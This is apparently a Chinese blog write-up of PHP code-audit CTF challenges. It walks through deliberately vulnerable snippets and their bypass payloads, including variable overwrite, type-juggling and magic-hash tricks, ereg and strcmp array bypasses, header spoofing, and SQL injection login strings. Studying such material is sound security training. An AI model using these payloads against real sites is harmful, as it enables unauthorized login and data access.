0x00 简介

最近这几天看到了许多关于代码审计的ctf题,在电脑里也翻出来好长时间没看过的php_bugs,干脆最近把这个好好看看!

下载地址:https://github.com/bowu678/php_bugs

0x01 变量覆盖

1.1 extract()

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。条件:若有EXTR_SKIP则不行。

一个简单的变量覆盖的例子:

 <?php
$a = 1; //原变量值为1
$b = array('a' => '3');
extract($b); //经过extract()函数对$b处理后
echo $a; //输出结果为3
?>

1.2 例题

<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag)); # content is 0 , flag can be anything,cause file_get_contents cannot open file, return 0
if($shiyan==$content)
{
echo'ctf{xxx}';
}
else
{
echo'Oh.no';
}
}

payload:

?shiyan=&flag=1

这里的=&就相当于取得别名,数据地址均为一致的

1.3 parse_str()

解析字符串并注册成变量

$b=1;
Parse_str('b=2');
Print_r($b);

结果: $b=2

1.4 import_request_variables()

将 GET/POST/Cookie 变量导入到全局作用域中,全局变量注册。

在5.4之后被取消,只可在4-4.1.0和5-5.4.0可用。

//导入POST提交的变量值,前缀为post_
import_request_variable("p", "post_");
//导入GET和POST提交的变量值,前缀为gp_,GET优先于POST
import_request_variable("gp", "gp_");
//导入Cookie和GET的变量值,Cookie变量值优先于GET
import_request_variable("cg", "cg_");

1.5 $$变量覆盖

提交参数chs,则可覆盖变量"$chs"的值。$key为chs时,$$key就变成$chs

<?
$chs = '';
if($_POST && $charset != 'utf-8'){
$chs = new Chinese('UTF-8', $charset);
foreach($_POST as $key => $value){
$$key = $chs->Convert($value);
}
unset($chs);
}

1.6 全局变量覆盖漏洞

原理: register_globals 是php中的一个控制选项,可以设置成off或者on, 默认为off, 决定是否将 EGPCS(Environment,GET,POST,Cookie,Server)变量注册为全局变量。 如果register_globals打开的话, 客户端提交的数据中含有GLOBALS变量名, 就会覆盖服务器上的$GLOBALS变量.

$_REQUEST 这个超全局变量的值受 php.ini中request_order的影响,在php5.3.x系列中,request_order默认值为GP,也就是说默认配置下$_REQUEST只包含$_GET和$_POST而不包括$_COOKIE。通过COOKIE就可以提交GLOBALS变量。

<?php
// register_globals =ON
//foo.php?GLOBALS[foobar]=HELLO
echo $foobar; //为了安全取消全局变量
//var.php?GLOBALS[a]=aaaa&b=111
if (ini_get("register_globals")) foreach($_REQUEST as $k=>$v) unset(${$k});
print $a;
print $_GET[b];
?>

经过测试,开了register_globals会卡死

0x02 绕过过滤的空白字符

方法一:

代码太长了,直接放链接了:

https://github.com/bowu678/php_bugs/blob/master/02%20%E7%BB%95%E8%BF%87%E8%BF%87%E6%BB%A4%E7%9A%84%E7%A9%BA%E7%99%BD%E5%AD%97%E7%AC%A6.php

这道题,首先需要提交一个number参数,不能单纯的是数字:

这个参数必须等于自身的整数...

看似在刁难我们,但是这里看一下源代码:

做个总结:

1.条件is_numeric($_REQUEST['number'])为假,这个绕过的方法很多使用%00开头就行,也可以再POST一个number参数把GET中的覆盖掉也可以,所以这一步很简单。
2.要求 $req['number']==strval(intval($req['number']))
3.要求intval($req['number']) == intval(strrev($req['number']))
4.is_palindrome_number()返回False,这个条件只要在一个回文数比如191前面加一个字符即可实现得到flag

看上述条件,条件4需要加字符但是加了之后需要满足2,3这两个条件,所以就可以在原题目中简化出2,3,4来进行Fuzzing:

简化后后端代码如下:

<?php
function is_palindrome_number($number) {
$number = strval($number); //strval — 获取变量的字符串值
$i = 0;
$j = strlen($number) - 1; //strlen — 获取字符串长度
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
$a = trim($_GET['number']);
var_dump(($a==strval(intval($a)))&(intval($a)==intval(strrev($a)))&!is_palindrome_number($a))
?>

Fuzzing代码如下:

import requests
for i in range(256):
rq = requests.get("http://127.0.0.1/vuln/CTF/1/index.php?number=%s191"%("%%%02X"%i))
if '1' in rq.text:
print "%%%02X"%i

Fuzzing结果如下:

%0C
%2B

方法二:

函数对空白字符的特性 is_numeric函数在开始判断前,会先跳过所有空白字符。这是一个特性。

也就是说,is_numeirc(” \r\n \t 1.2″)是会返回true的。同理,intval(” \r\n \t 12″),也会正常返回12。

可以引入\f(也就是%0c)在数字前面,来绕过最后那个is_palindrome_number函数,而对于前面的数字判断,因为intval和is_numeric都会忽略这个字符,所以不会影响。

payload:

?number=%00%0c191

0x03 多重加密

题目中有:

<?php
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
if($login['user'] === 'ichunqiu'){echo $flag;}
?>

本地则有:

<?php
$arr = array(['user'] === 'ichunqiu');
$token = base64_encode(gzcompress(serialize($arr)));
print_r($token);
// 得到eJxLtDK0qs60MrBOAuJaAB5uBBQ=
?>

0x04 SQL注入_WITH ROLLUP绕过

一道sql注入的题,有过滤,只截了部分代码:

过滤了很多关键词,这里可以借助select过程中​​用group by with rollup这个统计的方法进行插入查询:

我们用mysql做几个小实验就明白这个是怎么用的了!

test数据库的基础信息如下:

select * from users group by id with rollup;

看最后一个图,id的值为空,但是name与psw都不为空,这个并不是我提前所设置的,而是这个语法所查询出来的(分组后会在多一行统计)。

所以这里假如我们对psw进行执行呢?

我丢,有内鬼,查询出这个tom是没密码的,所以这里在构造表单的时候,只需要在用户名这里,填上:

tom 'GROUP BY psw WITH ROLLUP LIMIT 1 OFFSET 2--+

就能登陆成功....

参考链接:

因缺思汀的绕过

实验吧 因缺思汀的绕过(with rollup统计)

使用 GROUP BY WITH ROLLUP 改善统计性能

0x05 绕过ereg的正则

代码如下:

<?php 

$flag = "flag";

if (isset ($_GET['password']))
{
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>

首先是pssword参数必须是一个数字,同时要小于8位,大于7位最大值,这里可用科学技术法绕过:

payload:1e7 以上的都可以

接下来,看下面的匹配:必须存在*-*这个字符串,但是上面的ereg函数已经有对password检测字符了,但是这个函数是存在绕过方式的:

1.Eregi匹配可以用%00截断
2.eregi匹配可用数组绕过

ereg是处理字符串,传入数组之后,ereg是返回NULL

所以这里有两个绕过方法:

方法一:

就是用%00去截断:

payload:?password=1e7%00*-*

方法二:

就是把password通过数组的形式去传参:

payload:?password[]=1e7&password[]=*-*

0x06 strcmp比较字符串

代码如下:

<?php
$flag = "flag";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
//比较两个字符串(区分大小写)
die('Flag: '.$flag);
else
print 'No';
}
?>f

这里用的是strcmp()函数,这个函数是用于比较字符串的函数,但是倘若他收到一个数组形式的数据时,这个函数将发生错误。

但是在5.3之前的php中,显示了报错的警告信息后,将return 0 !!!! 也就是虽然报了错,但却判定其相等了。这对于使用这个函数来做选择语句中的判断的代码来说简直是一个致命的漏洞。

当然,php官方在后面的版本中修复了这个漏洞,使得报错的时候函数不返回任何值。

strcmp只会处理字符串参数,如果给个数组的话呢,就会返回NULL,而判断使用的是,NULL0是 bool(true)

so,flag出来了:

0x07 sha()函数比较绕过

代码如下:

<?php

$flag = "flag";

if (isset($_GET['name']) and isset($_GET['password']))
{
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else
echo '<p>Login first!</p>';
?>

这里着重记一下:===会比较数据类型

sha1()函数默认的传入参数类型是字符串型,那要是给它传入数组呢会出现错误,使sha1()函数返回错误,也就是返回false,这样一来===运算符就可以发挥作用了

需要构造username和password既不相等,又同样是数组类型:

?name[]=a&password[]=b

0x08 SESSION验证绕过

做两步:

1.http://127.0.0.1/Php_Bug/08.php?password=

2.清空cookies的值

0x09 密码md5比较绕过

重点代码如下:

分析如下:

只要让row[pw]的值与pass经过md5之后的值相等即可 而$pass经过md5之后的值是我们可以通过正常输入控制的

同时,row[pw]的值是从$sql提取出来的

目标就一句话:只要我们能够修改$sql的值,此题解决。

构造payload:

username'AND 0=1 UNION SELECT "c4ca4238a0b923820dcc509a6f75849b" #

c4ca4238a0b923820dcc509a6f75849b这串MD5值是数字1经过MD5 hash之后的结果

最后的#用来注释掉后面没用的东西

最终,将payload附加输入到user框里,将数字1输入到pass框里,登录成功。

0x10 urldecode二次编码绕过

这个贼简单,不多说:

h的URL编码为:%68,二次编码为%2568,绕过
http://127.0.0.1/Php_Bug/10.php?id=%2568ackerDJ

0x11 sql闭合绕过

构造exp闭合绕过 admin')#

0x12 X-Forwarded-For绕过指定IP地址

HTTP头添加X-Forwarded-For:1.1.1.1

0x13 md5加密相等绕过

关于md5的前几篇博客有讲:

[CTF]CTF中if (md5(md5($_GET[‘a’])) == md5($_GET[‘b’])) 的绕过

这道题,我看了看有一点点不同:

==对比的时候会进行数据转换,0eXXXXXXXXXX 转成0了,如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行

var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' == '1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == ' 0xABCdef'); md5('240610708'); // 0e462097431906509019562988736854
md5('QNKCDZO'); // 0e830400451993494058024219903391

把你的密码设成 0x1234Ab,然后退出登录再登录,换密码 1193131登录,如果登录成功,那么密码绝对是明文保存的没跑。

同理,密码设置为 240610708,换密码 QNKCDZO登录能成功,那么密码没加盐直接md5保存的。

0x14 下一页

写的有点多了,这里放不下了~

其它内容,请跳转至:[代码审计]PHP_Bugs题目总结(2)

[代码审计]PHP_Bugs题目总结(1)的更多相关文章

  1. [代码审计]PHP_Bugs题目总结(2)

    写的有点多了,上一篇放在一起显得有点臃肿,就再起一篇吧~ 迷路的老铁点这里:[代码审计]PHP_Bugs题目总结(1) 0x14 intval函数四舍五入 <?php if($_GET[id]) ...

  2. 代码审计系列题目CTFD部署(上)

    关于简单部署题目请参考:https://www.cnblogs.com/Cl0ud/p/13783325.html 如果需要进行较复杂部署,可参考本篇 PHP代码审计系列题目的部署,较之前的部署方案, ...

  3. 小明学习代码审计writeup

    小明学习代码审计writeup 题目来自hackinglab.cn 综合关 题目地址:http://lab1.xseclab.com/pentest6_210deacdf09c9fe184d16c8f ...

  4. PHP代码审计01之in_array()函数缺陷

    前言 从今天起,结合红日安全写的文章,开始学习代码审计,题目均来自PHP SECURITY CALENDAR 2017,讲完这个题目,会再用一道有相同问题的CTF题来进行巩固.下面开始分析. 漏洞分析 ...

  5. 安鸾CTF Writeup PHP代码审计01

    PHP代码审计 01 题目URL:http://www.whalwl.xyz:8017 提示:源代码有泄露 既然提示有源代码泄露,我们就先扫描一遍. 精选CTF专用字典: https://github ...

  6. CTF---Web入门第十一题 PHP大法

    PHP大法分值:20 来源: DUTCTF 难度:中 参与人数:8205人 Get Flag:2923人 答题人数:3042人 解题通过率:96% 注意备份文件 解题链接: http://ctf5.s ...

  7. CTF---Web入门第十题 Once More

    Once More分值:10 来源: iFurySt 难度:易 参与人数:4782人 Get Flag:2123人 答题人数:2166人 解题通过率:98% 啊拉?又是php审计.已经想吐了. hin ...

  8. 浅析PHP正则表达式的利用技巧

    浅析PHP正则表达式的利用技巧 正则表达式是什么 正则表达式(regular expression)描述了一种字符串匹配的模式(pattern),可以用来检查一个串是否含有某种子串. 将匹配的子串替换 ...

  9. BugkuCTF 矛盾

    前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...

随机推荐

  1. windows下安装hexo和生成博客

    首先在电脑上安装node和git,这个只要在相关官网的下载然后一步安装即可. 然后在你的电脑上新建一个文件夹,用来存放你的博客文件,比如创建hexo 进入该文件,右键打开git bash 安装hexo ...

  2. Android多线程操作,as快捷键笔记

    Android studio 快捷键 cmd+p 快速查看该方法的参数定义 * * option + shift +上下 快速移动上下行 * * cmd + e 显示最近操作的文件 * * cmd + ...

  3. 只要200行JavaScript代码,就能把特斯拉汽车带到您身边

    Jerry的前一篇文章 如何使用JavaScript开发AR(增强现实)移动应用 (一) 介绍了用React-Native + ViroReact开发增强现实应用的一些预备知识. 本文咱们开始进入增强 ...

  4. 关于maven中版本控制问题

    之前我们说过Maven的版本分为快照和稳定版本,快照版本使用在开发的过程中,方便于团队内部交流学习.而所说的稳定版本,理想状态下是项目到了某个比较稳定的状态,这个稳定包含了源代码和构建都要稳定. ma ...

  5. MySQL Hardware--RAID卡BBU Learn Cycle

    RAID卡缓存策略 不同的RAID卡缓存策略对IO的性能影响较大,常见的策略有: 1.写操作策略,可设置为WriteBack或WriteThrough WriteBack:进行写操作时,将数据写入RA ...

  6. Kubernetes 1.15部署日记-使用kubeadm--<5-6>

    5.配置pod网络 5.1下载calico 网络配置文件 [root@k8s-1 libj]# curl -O https://docs.projectcalico.org/v3.6/getting- ...

  7. mysql in条件查询到底会不会用到索引

    MySQL 的 in 查询在 5.5 以上的版本中存储引擎都是 innodb 的,正常情况下会走索引的!至于 MyISAM 没试过! 如果是 5.5 之前的版本确实不会走索引的,在 5.5 之后的版本 ...

  8. Codeforces C. A Simple Task(状态压缩dp)

    题目描述:  A Simple Task time limit per test 2 seconds memory limit per test 256 megabytes input standar ...

  9. linux系统编程综合练习-实现一个小型的shell程序(四)

    上节中已经对后台作业进行了简单处理,基本上要实现的功能已经完了,下面回过头来,对代码进行一个调整,把写得不好的地方梳理一下,给代码加入适当的注释,这种习惯其实是比较好了,由于在开发的时候时间都比较紧, ...

  10. python算法与数据结构-冒泡排序算法(32)

    一.冒泡排序介绍 冒泡排序(英语:Bubble Sort)是一种简单的排序算法.它重复地遍历要排序的数列,一次比较两个元素,如果他们的顺序错误就把他们交换过来.遍历数列的工作是重复地进行直到没有再需要 ...